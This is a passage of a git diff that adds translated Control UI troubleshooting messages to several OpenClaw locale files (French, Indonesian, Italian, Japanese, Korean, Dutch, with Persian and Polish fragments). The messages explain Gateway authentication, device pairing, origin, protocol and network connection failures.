http://127.0.0.1:18789 را روی میزبان Gateway باز کنید.", + stepLocalCompat: + "برای سازگاری محلی فقط با توکن، gateway.controlUi.allowInsecureAuth: true را تنظیم کنید.", + stepAvoidDisable: + "از غیرفعال کردن احراز هویت دستگاه برای دسترسی HTTP راه دور خودداری کنید.", + }, + origin: { + title: "مبدأ مرورگر مجاز نیست", + summary: "Gateway پیش از پذیرش اتصال Control UI، مبدأ این صفحه را رد کرد.", + stepAllowedOrigins: "این مبدأ مرورگر را به gateway.controlUi.allowedOrigins اضافه کنید.", + stepFullOrigin: + "از مبدأهای کامل مانند http://localhost:5173 استفاده کنید، نه الگوهای wildcard.", + stepRestart: "پس از تغییر مبدأهای مجاز، Gateway را دوباره راه اندازی یا بارگذاری کنید.", + }, + protocol: { + title: "عدم تطابق پروتکل", + summary: + "Control UI سرو شده و Gateway در حال اجرا درباره پروتکل اتصال پشتیبانی شده توافق ندارند.", + stepDashboard: + "داشبورد سرو شده را با openclaw dashboard دوباره باز کنید تا UI و Gateway از همان نصب باشند.", + stepDevUi: + "اگر از pnpm ui:dev استفاده می کنید، UI توسعه را بر اساس checkout فعلی دوباره بسازید یا راه اندازی کنید.", + stepRestart: + "پس از به روزرسانی OpenClaw، Gateway را دوباره راه اندازی کنید تا پروتکل فعلی را سرو کند.", + }, + network: { + title: "اتصال برقرار نشد", + summary: + "مرورگر نتوانست اتصال Gateway را کامل کند. پیش از تلاش دوباره با اعتبارنامه ها، هدف و انتقال را بررسی کنید.", + stepGateway: + "با openclaw status یا openclaw gateway run تأیید کنید که Gateway در حال اجرا است.", + stepUrl: + "URL WebSocket را بررسی کنید و وقتی Gateway پشت HTTPS/Tailscale Serve است از wss:// استفاده کنید.", + stepDashboard: + "داشبورد را با openclaw dashboard --no-open دوباره باز کنید تا URL و جزئیات احراز هویت فعلی را دوباره کپی کنید.", + }, + }, }, chat: { disconnected: "اتصال از Gateway قطع شد.", diff --git a/ui/src/i18n/locales/fr.ts b/ui/src/i18n/locales/fr.ts index 2a0502d2994..04441867fe1 100644 --- a/ui/src/i18n/locales/fr.ts +++ b/ui/src/i18n/locales/fr.ts @@ -945,6 +945,101 @@ export const fr: TranslationMap = { showPassword: "Afficher le mot de passe", hidePassword: "Masquer le mot de passe", togglePasswordVisibility: "Basculer la visibilité du mot de passe", + failure: { + rawError: "Erreur brute", + docsAuth: "Docs d’authentification Control UI", + docsPairing: "Docs d’appairage des appareils", + docsInsecure: "Docs HTTP non sécurisé", + authRequired: { + title: "Authentification requise", + summary: + "Le Gateway est joignable, mais il lui faut un jeton ou un mot de passe correspondant avant que ce navigateur puisse se connecter.", + stepPaste: + "Collez le jeton de openclaw dashboard --no-open ou saisissez le mot de passe configuré.", + stepGenerate: + "Si aucun jeton n’est configuré, exécutez openclaw doctor --generate-gateway-token sur l’hôte Gateway.", + stepConnect: "Cliquez de nouveau sur Connect après avoir mis à jour l’identifiant.", + }, + authFailed: { + title: "L’authentification ne correspond pas", + summary: + "L’identifiant fourni a été refusé. La cause la plus courante est un jeton obsolète ou copié depuis une autre URL Gateway.", + stepDashboard: + "Exécutez openclaw dashboard --no-open et ouvrez la nouvelle URL ou collez son jeton.", + stepReplace: + "Remplacez les valeurs de jeton/mot de passe obsolètes ; ne réutilisez pas un jeton provenant d’une autre URL Gateway.", + stepMode: + "Utilisez un seul mode d’authentification correspondant à la fois : jeton gateway pour le mode jeton, mot de passe pour le mode mot de passe.", + }, + rateLimited: { + title: "Trop de tentatives échouées", + summary: + "Le Gateway limite temporairement les tentatives d’authentification pour ce client.", + stepStop: "Arrêtez de réessayer depuis cet onglet pendant un moment.", + stepWait: + "Attendez que le limiteur d’authentification se calme, puis reconnectez-vous avec l’identifiant corrigé.", + stepCheckClients: + "Si cet hôte est partagé, vérifiez que d’autres clients ne répètent pas de mauvais essais.", + }, + pairing: { + title: "Appairage de l’appareil requis", + scopeTitle: "Mise à niveau de scope en attente", + roleTitle: "Mise à niveau du rôle en attente", + metadataTitle: "Actualisation de l’appareil en attente", + summary: + "Ce navigateur nécessite une approbation unique de l’hôte Gateway avant de pouvoir utiliser Control UI.", + upgradeSummary: + "Ce navigateur est déjà connu, mais l’accès demandé a changé et nécessite une nouvelle approbation.", + stepList: "Exécutez openclaw devices list sur l’hôte Gateway.", + stepApproveId: "Approuvez cette demande : openclaw devices approve {requestId}.", + stepApprove: "Approuvez la demande navigateur/appareil en attente depuis cette liste.", + stepReconnect: "Reconnectez-vous après la fin de l’approbation.", + }, + insecure: { + title: "Contexte de navigateur sécurisé requis", + summary: + "Cette page s’exécute en HTTP simple, le navigateur ne peut donc pas créer l’identité d’appareil attendue par le Gateway.", + stepHttps: + "Utilisez HTTPS/Tailscale Serve, ou ouvrez http://127.0.0.1:18789 sur l’hôte Gateway.", + stepLocalCompat: + "Pour la compatibilité locale en mode jeton uniquement, définissez gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: + "Évitez de désactiver l’authentification des appareils pour l’accès HTTP distant.", + }, + origin: { + title: "Origine du navigateur non autorisée", + summary: + "Le Gateway a rejeté l’origine de cette page avant d’accepter la connexion Control UI.", + stepAllowedOrigins: + "Ajoutez cette origine de navigateur à gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Utilisez des origines complètes comme http://localhost:5173, pas des motifs wildcard.", + stepRestart: + "Redémarrez ou rechargez le Gateway après avoir modifié les origines autorisées.", + }, + protocol: { + title: "Incompatibilité de protocole", + summary: + "La Control UI servie et le Gateway en cours d’exécution ne sont pas d’accord sur le protocole de connexion pris en charge.", + stepDashboard: + "Rouvrez le dashboard servi avec openclaw dashboard afin que l’UI et le Gateway viennent de la même installation.", + stepDevUi: + "Si vous utilisez pnpm ui:dev, reconstruisez ou redémarrez l’UI de développement avec le checkout actuel.", + stepRestart: + "Redémarrez le Gateway après la mise à jour d’OpenClaw afin qu’il serve le protocole actuel.", + }, + network: { + title: "Connexion impossible", + summary: + "Le navigateur n’a pas pu terminer la connexion au Gateway. Vérifiez la cible et le transport avant de réessayer les identifiants.", + stepGateway: + "Confirmez que le Gateway fonctionne avec openclaw status ou openclaw gateway run.", + stepUrl: + "Vérifiez l’URL WebSocket et utilisez wss:// lorsque le Gateway est derrière HTTPS/Tailscale Serve.", + stepDashboard: + "Rouvrez le dashboard avec openclaw dashboard --no-open pour recopier l’URL actuelle et les détails d’authentification.", + }, + }, }, chat: { disconnected: "Déconnecté du Gateway.", diff --git a/ui/src/i18n/locales/id.ts b/ui/src/i18n/locales/id.ts index bbb0ce26ec5..c45fd67bbf0 100644 --- a/ui/src/i18n/locales/id.ts +++ b/ui/src/i18n/locales/id.ts @@ -937,6 +937,95 @@ export const id: TranslationMap = { showPassword: "Tampilkan kata sandi", hidePassword: "Sembunyikan kata sandi", togglePasswordVisibility: "Alihkan visibilitas kata sandi", + failure: { + rawError: "Error mentah", + docsAuth: "Dokumentasi auth Control UI", + docsPairing: "Dokumentasi pemasangan perangkat", + docsInsecure: "Dokumentasi HTTP tidak aman", + authRequired: { + title: "Auth diperlukan", + summary: + "Gateway dapat dijangkau, tetapi memerlukan token atau kata sandi yang cocok sebelum browser ini dapat terhubung.", + stepPaste: + "Tempel token dari openclaw dashboard --no-open atau masukkan kata sandi yang dikonfigurasi.", + stepGenerate: + "Jika belum ada token yang dikonfigurasi, jalankan openclaw doctor --generate-gateway-token di host Gateway.", + stepConnect: "Klik Connect lagi setelah memperbarui kredensial.", + }, + authFailed: { + title: "Auth tidak cocok", + summary: + "Kredensial yang diberikan ditolak. Penyebab paling umum adalah token kedaluwarsa atau token yang disalin dari URL Gateway lain.", + stepDashboard: + "Jalankan openclaw dashboard --no-open lalu buka URL baru atau tempel tokennya.", + stepReplace: + "Ganti nilai token/kata sandi yang lama; jangan gunakan ulang token dari URL Gateway lain.", + stepMode: + "Gunakan satu mode auth yang cocok pada satu waktu: token gateway untuk mode token, kata sandi untuk mode kata sandi.", + }, + rateLimited: { + title: "Terlalu banyak percobaan gagal", + summary: "Gateway sementara membatasi percobaan autentikasi untuk klien ini.", + stepStop: "Berhenti mencoba ulang dari tab ini sebentar.", + stepWait: + "Tunggu pembatas auth mereda, lalu hubungkan ulang dengan kredensial yang sudah diperbaiki.", + stepCheckClients: + "Jika ini host bersama, periksa klien lain yang terus mencoba dengan kredensial salah.", + }, + pairing: { + title: "Pemasangan perangkat diperlukan", + scopeTitle: "Peningkatan scope tertunda", + roleTitle: "Peningkatan peran tertunda", + metadataTitle: "Penyegaran perangkat tertunda", + summary: + "Browser ini memerlukan persetujuan satu kali dari host Gateway sebelum dapat menggunakan Control UI.", + upgradeSummary: + "Browser ini sudah dikenal, tetapi akses yang diminta berubah dan memerlukan persetujuan baru.", + stepList: "Jalankan openclaw devices list di host Gateway.", + stepApproveId: "Setujui permintaan ini: openclaw devices approve {requestId}.", + stepApprove: "Setujui permintaan browser/perangkat yang tertunda dari daftar tersebut.", + stepReconnect: "Hubungkan ulang setelah persetujuan selesai.", + }, + insecure: { + title: "Konteks browser aman diperlukan", + summary: + "Halaman ini berjalan melalui HTTP biasa, sehingga browser tidak dapat membuat identitas perangkat yang diharapkan Gateway.", + stepHttps: + "Gunakan HTTPS/Tailscale Serve, atau buka http://127.0.0.1:18789 di host Gateway.", + stepLocalCompat: + "Untuk kompatibilitas lokal hanya-token, setel gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Hindari menonaktifkan auth perangkat untuk akses HTTP jarak jauh.", + }, + origin: { + title: "Origin browser tidak diizinkan", + summary: "Gateway menolak origin halaman ini sebelum menerima koneksi Control UI.", + stepAllowedOrigins: "Tambahkan origin browser ini ke gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Gunakan origin lengkap seperti http://localhost:5173, bukan pola wildcard.", + stepRestart: "Mulai ulang atau muat ulang Gateway setelah mengubah origin yang diizinkan.", + }, + protocol: { + title: "Protokol tidak cocok", + summary: + "Control UI yang disajikan dan Gateway yang berjalan tidak sepakat tentang protokol koneksi yang didukung.", + stepDashboard: + "Buka kembali dashboard yang disajikan dengan openclaw dashboard agar UI dan Gateway berasal dari instalasi yang sama.", + stepDevUi: + "Jika menggunakan pnpm ui:dev, bangun ulang atau mulai ulang UI dev terhadap checkout saat ini.", + stepRestart: + "Mulai ulang Gateway setelah memperbarui OpenClaw agar menyajikan protokol saat ini.", + }, + network: { + title: "Tidak dapat terhubung", + summary: + "Browser tidak dapat menyelesaikan koneksi Gateway. Periksa target dan transport sebelum mencoba ulang kredensial.", + stepGateway: "Pastikan Gateway berjalan dengan openclaw status atau openclaw gateway run.", + stepUrl: + "Periksa URL WebSocket dan gunakan wss:// saat Gateway berada di belakang HTTPS/Tailscale Serve.", + stepDashboard: + "Buka kembali dashboard dengan openclaw dashboard --no-open untuk menyalin ulang URL dan detail auth saat ini.", + }, + }, }, chat: { disconnected: "Terputus dari gateway.", diff --git a/ui/src/i18n/locales/it.ts b/ui/src/i18n/locales/it.ts index b868b18fe7f..9b5fc0e7203 100644 --- a/ui/src/i18n/locales/it.ts +++ b/ui/src/i18n/locales/it.ts @@ -942,6 +942,98 @@ export const it: TranslationMap = { showPassword: "Mostra password", hidePassword: "Nascondi password", togglePasswordVisibility: "Attiva/disattiva visibilità password", + failure: { + rawError: "Errore grezzo", + docsAuth: "Documentazione auth di Control UI", + docsPairing: "Documentazione associazione dispositivo", + docsInsecure: "Documentazione HTTP non sicuro", + authRequired: { + title: "Autenticazione richiesta", + summary: + "Il Gateway è raggiungibile, ma richiede un token o una password corrispondente prima che questo browser possa connettersi.", + stepPaste: + "Incolla il token da openclaw dashboard --no-open oppure inserisci la password configurata.", + stepGenerate: + "Se non è configurato alcun token, esegui openclaw doctor --generate-gateway-token sull’host Gateway.", + stepConnect: "Fai clic di nuovo su Connect dopo aver aggiornato la credenziale.", + }, + authFailed: { + title: "L’autenticazione non corrisponde", + summary: + "La credenziale fornita è stata rifiutata. La causa più comune è un token obsoleto o copiato da un altro URL Gateway.", + stepDashboard: + "Esegui openclaw dashboard --no-open e apri il nuovo URL oppure incolla il suo token.", + stepReplace: + "Sostituisci i valori token/password obsoleti; non riutilizzare un token da un altro URL Gateway.", + stepMode: + "Usa un solo modo auth corrispondente alla volta: token gateway per il modo token, password per il modo password.", + }, + rateLimited: { + title: "Troppi tentativi non riusciti", + summary: + "Il Gateway sta limitando temporaneamente i tentativi di autenticazione per questo client.", + stepStop: "Interrompi per un momento i tentativi da questa scheda.", + stepWait: + "Attendi che il limitatore auth si raffreddi, poi riconnettiti con la credenziale corretta.", + stepCheckClients: + "Se questo host è condiviso, controlla altri client per ripetuti tentativi errati.", + }, + pairing: { + title: "Associazione dispositivo richiesta", + scopeTitle: "Aggiornamento dello scope in sospeso", + roleTitle: "Aggiornamento del ruolo in sospeso", + metadataTitle: "Aggiornamento dispositivo in sospeso", + summary: + "Questo browser richiede un’approvazione una tantum dall’host Gateway prima di poter usare Control UI.", + upgradeSummary: + "Questo browser è già noto, ma l’accesso richiesto è cambiato e richiede una nuova approvazione.", + stepList: "Esegui openclaw devices list sull’host Gateway.", + stepApproveId: "Approva questa richiesta: openclaw devices approve {requestId}.", + stepApprove: "Approva la richiesta browser/dispositivo in sospeso da quell’elenco.", + stepReconnect: "Riconnettiti al termine dell’approvazione.", + }, + insecure: { + title: "Contesto browser sicuro richiesto", + summary: + "Questa pagina è in esecuzione su HTTP semplice, quindi il browser non può creare l’identità dispositivo attesa dal Gateway.", + stepHttps: + "Usa HTTPS/Tailscale Serve, oppure apri http://127.0.0.1:18789 sull’host Gateway.", + stepLocalCompat: + "Per la compatibilità locale solo-token, imposta gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Evita di disabilitare l’auth dispositivo per accesso HTTP remoto.", + }, + origin: { + title: "Origine del browser non consentita", + summary: + "Il Gateway ha rifiutato l’origine di questa pagina prima di accettare la connessione Control UI.", + stepAllowedOrigins: + "Aggiungi questa origine del browser a gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Usa origini complete come http://localhost:5173, non pattern wildcard.", + stepRestart: "Riavvia o ricarica il Gateway dopo aver modificato le origini consentite.", + }, + protocol: { + title: "Protocollo non corrispondente", + summary: + "La Control UI servita e il Gateway in esecuzione non concordano sul protocollo di connessione supportato.", + stepDashboard: + "Riapri il dashboard servito con openclaw dashboard in modo che UI e Gateway provengano dalla stessa installazione.", + stepDevUi: + "Se usi pnpm ui:dev, ricompila o riavvia la UI di sviluppo contro il checkout corrente.", + stepRestart: + "Riavvia il Gateway dopo aver aggiornato OpenClaw affinché serva il protocollo corrente.", + }, + network: { + title: "Impossibile connettersi", + summary: + "Il browser non è riuscito a completare la connessione al Gateway. Controlla destinazione e trasporto prima di riprovare le credenziali.", + stepGateway: + "Conferma che il Gateway sia in esecuzione con openclaw status o openclaw gateway run.", + stepUrl: + "Controlla l’URL WebSocket e usa wss:// quando il Gateway è dietro HTTPS/Tailscale Serve.", + stepDashboard: + "Riapri il dashboard con openclaw dashboard --no-open per ricopiare l’URL corrente e i dettagli auth.", + }, + }, }, chat: { disconnected: "Disconnesso dal gateway.", diff --git a/ui/src/i18n/locales/ja-JP.ts b/ui/src/i18n/locales/ja-JP.ts index 36b0ea2397b..d9faee6c358 100644 --- a/ui/src/i18n/locales/ja-JP.ts +++ b/ui/src/i18n/locales/ja-JP.ts @@ -940,6 +940,96 @@ export const ja_JP: TranslationMap = { showPassword: "パスワードを表示", hidePassword: "パスワードを非表示", togglePasswordVisibility: "パスワードの表示/非表示を切り替え", + failure: { + rawError: "生のエラー", + docsAuth: "Control UI 認証ドキュメント", + docsPairing: "デバイスペアリングのドキュメント", + docsInsecure: "安全でない HTTP のドキュメント", + authRequired: { + title: "認証が必要です", + summary: + "Gateway には到達できますが、このブラウザーが接続する前に一致するトークンまたはパスワードが必要です。", + stepPaste: + "openclaw dashboard --no-open のトークンを貼り付けるか、構成済みのパスワードを入力します。", + stepGenerate: + "トークンが構成されていない場合は、Gateway ホストで openclaw doctor --generate-gateway-token を実行します。", + stepConnect: "認証情報を更新したら、もう一度 Connect をクリックします。", + }, + authFailed: { + title: "認証が一致しません", + summary: + "指定された認証情報は拒否されました。最も一般的な原因は、古いトークン、または別の Gateway URL からコピーしたトークンです。", + stepDashboard: + "openclaw dashboard --no-open を実行し、新しい URL を開くか、そのトークンを貼り付けます。", + stepReplace: + "古いトークン/パスワード値を置き換えてください。別の Gateway URL のトークンは再利用しないでください。", + stepMode: + "一致する認証モードを一度に 1 つだけ使用します。トークンモードでは gateway token、パスワードモードではパスワードを使います。", + }, + rateLimited: { + title: "失敗した試行が多すぎます", + summary: "Gateway はこのクライアントの認証試行を一時的に制限しています。", + stepStop: "このタブからの再試行をしばらく停止します。", + stepWait: "認証リミッターが落ち着くのを待ってから、修正した認証情報で再接続します。", + stepCheckClients: + "共有ホストの場合は、他のクライアントが誤った再試行を繰り返していないか確認します。", + }, + pairing: { + title: "デバイスペアリングが必要です", + scopeTitle: "スコープのアップグレードが保留中です", + roleTitle: "ロールのアップグレードが保留中です", + metadataTitle: "デバイス更新が保留中です", + summary: + "このブラウザーで Control UI を使用するには、Gateway ホストからの一度限りの承認が必要です。", + upgradeSummary: + "このブラウザーは既に認識されていますが、要求されたアクセスが変わったため、新しい承認が必要です。", + stepList: "Gateway ホストで openclaw devices list を実行します。", + stepApproveId: "このリクエストを承認します: openclaw devices approve {requestId}.", + stepApprove: "その一覧から保留中のブラウザー/デバイスリクエストを承認します。", + stepReconnect: "承認が完了したら再接続します。", + }, + insecure: { + title: "安全なブラウザーコンテキストが必要です", + summary: + "このページは通常の HTTP で実行されているため、ブラウザーは Gateway が期待するデバイス ID を作成できません。", + stepHttps: + "HTTPS/Tailscale Serve を使用するか、Gateway ホストで http://127.0.0.1:18789 を開きます。", + stepLocalCompat: + "ローカルのトークンのみの互換性には、gateway.controlUi.allowInsecureAuth: true を設定します。", + stepAvoidDisable: + "リモート HTTP アクセスのためにデバイス認証を無効にすることは避けてください。", + }, + origin: { + title: "ブラウザーオリジンは許可されていません", + summary: "Gateway は Control UI 接続を受け入れる前に、このページのオリジンを拒否しました。", + stepAllowedOrigins: + "このブラウザーオリジンを gateway.controlUi.allowedOrigins に追加します。", + stepFullOrigin: + "http://localhost:5173 のような完全なオリジンを使用し、ワイルドカードパターンは使わないでください。", + stepRestart: "許可オリジンを変更した後、Gateway を再起動または再読み込みします。", + }, + protocol: { + title: "プロトコルが一致しません", + summary: + "提供された Control UI と実行中の Gateway で、サポートされる接続プロトコルが一致していません。", + stepDashboard: + "openclaw dashboard で提供元の dashboard を開き直し、UI と Gateway が同じインストールから来るようにします。", + stepDevUi: + "pnpm ui:dev を使用している場合は、現在の checkout に対して開発 UI を再ビルドまたは再起動します。", + stepRestart: "OpenClaw 更新後に Gateway を再起動し、現在のプロトコルを提供させます。", + }, + network: { + title: "接続できません", + summary: + "ブラウザーは Gateway 接続を完了できませんでした。認証情報を再試行する前に、ターゲットとトランスポートを確認してください。", + stepGateway: + "openclaw status または openclaw gateway run で Gateway が実行中であることを確認します。", + stepUrl: + "WebSocket URL を確認し、Gateway が HTTPS/Tailscale Serve の背後にある場合は wss:// を使用します。", + stepDashboard: + "openclaw dashboard --no-open で dashboard を開き直し、現在の URL と認証詳細を再コピーします。", + }, + }, }, chat: { disconnected: "Gateway から切断されました。", diff --git a/ui/src/i18n/locales/ko.ts b/ui/src/i18n/locales/ko.ts index d3af872091c..ee2e95faa08 100644 --- a/ui/src/i18n/locales/ko.ts +++ b/ui/src/i18n/locales/ko.ts @@ -933,6 +933,93 @@ export const ko: TranslationMap = { showPassword: "비밀번호 표시", hidePassword: "비밀번호 숨기기", togglePasswordVisibility: "비밀번호 표시 여부 전환", + failure: { + rawError: "원시 오류", + docsAuth: "Control UI 인증 문서", + docsPairing: "장치 페어링 문서", + docsInsecure: "안전하지 않은 HTTP 문서", + authRequired: { + title: "인증 필요", + summary: + "Gateway에 연결할 수 있지만 이 브라우저가 연결되기 전에 일치하는 토큰 또는 비밀번호가 필요합니다.", + stepPaste: "openclaw dashboard --no-open의 토큰을 붙여넣거나 구성된 비밀번호를 입력하세요.", + stepGenerate: + "토큰이 구성되어 있지 않으면 Gateway 호스트에서 openclaw doctor --generate-gateway-token을 실행하세요.", + stepConnect: "자격 증명을 업데이트한 뒤 Connect를 다시 클릭하세요.", + }, + authFailed: { + title: "인증이 일치하지 않음", + summary: + "제공한 자격 증명이 거부되었습니다. 가장 흔한 원인은 오래된 토큰이거나 다른 Gateway URL에서 복사한 토큰입니다.", + stepDashboard: + "openclaw dashboard --no-open을 실행하고 새 URL을 열거나 해당 토큰을 붙여넣으세요.", + stepReplace: + "오래된 토큰/비밀번호 값을 교체하세요. 다른 Gateway URL의 토큰을 재사용하지 마세요.", + stepMode: + "한 번에 하나의 일치하는 인증 모드만 사용하세요. 토큰 모드에는 gateway token, 비밀번호 모드에는 비밀번호를 사용합니다.", + }, + rateLimited: { + title: "실패한 시도가 너무 많음", + summary: "Gateway가 이 클라이언트의 인증 시도를 일시적으로 제한하고 있습니다.", + stepStop: "이 탭에서 잠시 재시도를 중지하세요.", + stepWait: "인증 제한기가 식을 때까지 기다린 뒤 수정된 자격 증명으로 다시 연결하세요.", + stepCheckClients: + "공유 호스트라면 다른 클라이언트가 잘못된 재시도를 반복하는지 확인하세요.", + }, + pairing: { + title: "장치 페어링 필요", + scopeTitle: "Scope 업그레이드 대기 중", + roleTitle: "역할 업그레이드 대기 중", + metadataTitle: "장치 새로 고침 대기 중", + summary: "이 브라우저가 Control UI를 사용하려면 Gateway 호스트의 일회성 승인이 필요합니다.", + upgradeSummary: + "이 브라우저는 이미 알려져 있지만 요청한 액세스가 변경되어 새 승인이 필요합니다.", + stepList: "Gateway 호스트에서 openclaw devices list를 실행하세요.", + stepApproveId: "이 요청을 승인하세요: openclaw devices approve {requestId}.", + stepApprove: "해당 목록에서 대기 중인 브라우저/장치 요청을 승인하세요.", + stepReconnect: "승인이 완료된 뒤 다시 연결하세요.", + }, + insecure: { + title: "안전한 브라우저 컨텍스트 필요", + summary: + "이 페이지는 일반 HTTP에서 실행 중이므로 브라우저가 Gateway가 기대하는 장치 ID를 만들 수 없습니다.", + stepHttps: + "HTTPS/Tailscale Serve를 사용하거나 Gateway 호스트에서 http://127.0.0.1:18789를 여세요.", + stepLocalCompat: + "로컬 토큰 전용 호환성을 위해 gateway.controlUi.allowInsecureAuth: true를 설정하세요.", + stepAvoidDisable: "원격 HTTP 액세스를 위해 장치 인증을 비활성화하지 마세요.", + }, + origin: { + title: "브라우저 origin이 허용되지 않음", + summary: "Gateway가 Control UI 연결을 수락하기 전에 이 페이지 origin을 거부했습니다.", + stepAllowedOrigins: "이 브라우저 origin을 gateway.controlUi.allowedOrigins에 추가하세요.", + stepFullOrigin: + "와일드카드 패턴이 아니라 http://localhost:5173 같은 전체 origin을 사용하세요.", + stepRestart: "허용 origin을 변경한 뒤 Gateway를 다시 시작하거나 다시 로드하세요.", + }, + protocol: { + title: "프로토콜 불일치", + summary: + "제공된 Control UI와 실행 중인 Gateway가 지원되는 연결 프로토콜에 동의하지 않습니다.", + stepDashboard: + "UI와 Gateway가 같은 설치에서 오도록 openclaw dashboard로 제공된 dashboard를 다시 여세요.", + stepDevUi: + "pnpm ui:dev를 사용하는 경우 현재 checkout 기준으로 개발 UI를 다시 빌드하거나 다시 시작하세요.", + stepRestart: + "OpenClaw를 업데이트한 뒤 Gateway를 다시 시작하여 현재 프로토콜을 제공하게 하세요.", + }, + network: { + title: "연결할 수 없음", + summary: + "브라우저가 Gateway 연결을 완료할 수 없습니다. 자격 증명을 다시 시도하기 전에 대상과 전송 방식을 확인하세요.", + stepGateway: + "openclaw status 또는 openclaw gateway run으로 Gateway가 실행 중인지 확인하세요.", + stepUrl: + "WebSocket URL을 확인하고 Gateway가 HTTPS/Tailscale Serve 뒤에 있으면 wss://를 사용하세요.", + stepDashboard: + "openclaw dashboard --no-open으로 dashboard를 다시 열어 현재 URL과 인증 세부 정보를 다시 복사하세요.", + }, + }, }, chat: { disconnected: "Gateway와 연결이 끊어졌습니다.", diff --git a/ui/src/i18n/locales/nl.ts b/ui/src/i18n/locales/nl.ts index 3b433ae2a96..9eb8e841354 100644 --- a/ui/src/i18n/locales/nl.ts +++ b/ui/src/i18n/locales/nl.ts @@ -940,6 +940,97 @@ export const nl: TranslationMap = { showPassword: "Wachtwoord weergeven", hidePassword: "Wachtwoord verbergen", togglePasswordVisibility: "Wachtwoordzichtbaarheid schakelen", + failure: { + rawError: "Ruwe fout", + docsAuth: "Control UI-authdocumentatie", + docsPairing: "Documentatie voor apparaatkoppeling", + docsInsecure: "Documentatie voor onveilige HTTP", + authRequired: { + title: "Authenticatie vereist", + summary: + "De Gateway is bereikbaar, maar heeft een overeenkomend token of wachtwoord nodig voordat deze browser kan verbinden.", + stepPaste: + "Plak het token uit openclaw dashboard --no-open of voer het geconfigureerde wachtwoord in.", + stepGenerate: + "Als er geen token is geconfigureerd, voer dan openclaw doctor --generate-gateway-token uit op de Gateway-host.", + stepConnect: "Klik opnieuw op Connect nadat je de referentie hebt bijgewerkt.", + }, + authFailed: { + title: "Authenticatie komt niet overeen", + summary: + "De opgegeven referentie is geweigerd. De meest voorkomende oorzaak is een verlopen token of een token dat van een andere Gateway-URL is gekopieerd.", + stepDashboard: + "Voer openclaw dashboard --no-open uit en open de nieuwe URL of plak het token.", + stepReplace: + "Vervang verlopen token-/wachtwoordwaarden; hergebruik geen token van een andere Gateway-URL.", + stepMode: + "Gebruik één overeenkomende auth-modus tegelijk: gateway-token voor tokenmodus, wachtwoord voor wachtwoordmodus.", + }, + rateLimited: { + title: "Te veel mislukte pogingen", + summary: "De Gateway beperkt tijdelijk authenticatiepogingen voor deze client.", + stepStop: "Stop even met opnieuw proberen vanuit dit tabblad.", + stepWait: + "Wacht tot de auth-limiter is afgekoeld en verbind opnieuw met de gecorrigeerde referentie.", + stepCheckClients: + "Als dit een gedeelde host is, controleer andere clients op herhaalde verkeerde pogingen.", + }, + pairing: { + title: "Apparaatkoppeling vereist", + scopeTitle: "Scope-upgrade in behandeling", + roleTitle: "Rol-upgrade in behandeling", + metadataTitle: "Apparaatverversing in behandeling", + summary: + "Deze browser heeft een eenmalige goedkeuring van de Gateway-host nodig voordat Control UI kan worden gebruikt.", + upgradeSummary: + "Deze browser is al bekend, maar de gevraagde toegang is gewijzigd en vereist nieuwe goedkeuring.", + stepList: "Voer openclaw devices list uit op de Gateway-host.", + stepApproveId: "Keur deze aanvraag goed: openclaw devices approve {requestId}.", + stepApprove: "Keur de openstaande browser-/apparaat aanvraag uit die lijst goed.", + stepReconnect: "Verbind opnieuw nadat de goedkeuring is voltooid.", + }, + insecure: { + title: "Veilige browsercontext vereist", + summary: + "Deze pagina draait via gewone HTTP, waardoor de browser de apparaatidentiteit die de Gateway verwacht niet kan maken.", + stepHttps: + "Gebruik HTTPS/Tailscale Serve, of open http://127.0.0.1:18789 op de Gateway-host.", + stepLocalCompat: + "Stel voor lokale token-only compatibiliteit gateway.controlUi.allowInsecureAuth: true in.", + stepAvoidDisable: + "Schakel apparaatauthenticatie voor externe HTTP-toegang liever niet uit.", + }, + origin: { + title: "Browser-origin niet toegestaan", + summary: + "De Gateway heeft deze pagina-origin geweigerd voordat de Control UI-verbinding werd geaccepteerd.", + stepAllowedOrigins: "Voeg deze browser-origin toe aan gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Gebruik volledige origins zoals http://localhost:5173, geen wildcardpatronen.", + stepRestart: "Herstart of herlaad de Gateway na het wijzigen van toegestane origins.", + }, + protocol: { + title: "Protocol komt niet overeen", + summary: + "De geserveerde Control UI en de draaiende Gateway zijn het niet eens over het ondersteunde verbindingsprotocol.", + stepDashboard: + "Open het geserveerde dashboard opnieuw met openclaw dashboard zodat UI en Gateway uit dezelfde installatie komen.", + stepDevUi: + "Als je pnpm ui:dev gebruikt, bouw of herstart de dev-UI tegen de huidige checkout.", + stepRestart: + "Herstart de Gateway na het bijwerken van OpenClaw zodat het huidige protocol wordt geserveerd.", + }, + network: { + title: "Kan niet verbinden", + summary: + "De browser kon de Gateway-verbinding niet voltooien. Controleer doel en transport voordat je referenties opnieuw probeert.", + stepGateway: "Bevestig dat de Gateway draait met openclaw status of openclaw gateway run.", + stepUrl: + "Controleer de WebSocket-URL en gebruik wss:// wanneer de Gateway achter HTTPS/Tailscale Serve staat.", + stepDashboard: + "Open het dashboard opnieuw met openclaw dashboard --no-open om de huidige URL en authdetails opnieuw te kopiëren.", + }, + }, }, chat: { disconnected: "Verbinding met Gateway verbroken.", diff --git a/ui/src/i18n/locales/pl.ts b/ui/src/i18n/locales/pl.ts index 15d5761fb93..bbc094b8030 100644 --- a/ui/src/i18n/locales/pl.ts +++ b/ui/src/i18n/locales/pl.ts @@ -943,6 +943,94 @@ export const pl: TranslationMap = { showPassword: "Pokaż hasło", hidePassword: "Ukryj hasło", togglePasswordVisibility: "Przełącz widoczność hasła", + failure: { + rawError: "Surowy błąd", + docsAuth: "Dokumentacja uwierzytelniania Control UI", + docsPairing: "Dokumentacja parowania urządzeń", + docsInsecure: "Dokumentacja niebezpiecznego HTTP", + authRequired: { + title: "Wymagane uwierzytelnienie", + summary: + "Gateway jest osiągalny, ale wymaga pasującego tokenu lub hasła, zanim ta przeglądarka będzie mogła się połączyć.", + stepPaste: "Wklej token z openclaw dashboard --no-open albo wpisz skonfigurowane hasło.", + stepGenerate: + "Jeśli token nie jest skonfigurowany, uruchom openclaw doctor --generate-gateway-token na hoście Gateway.", + stepConnect: "Kliknij ponownie Connect po zaktualizowaniu poświadczeń.", + }, + authFailed: { + title: "Uwierzytelnienie nie pasuje", + summary: + "Podane poświadczenia 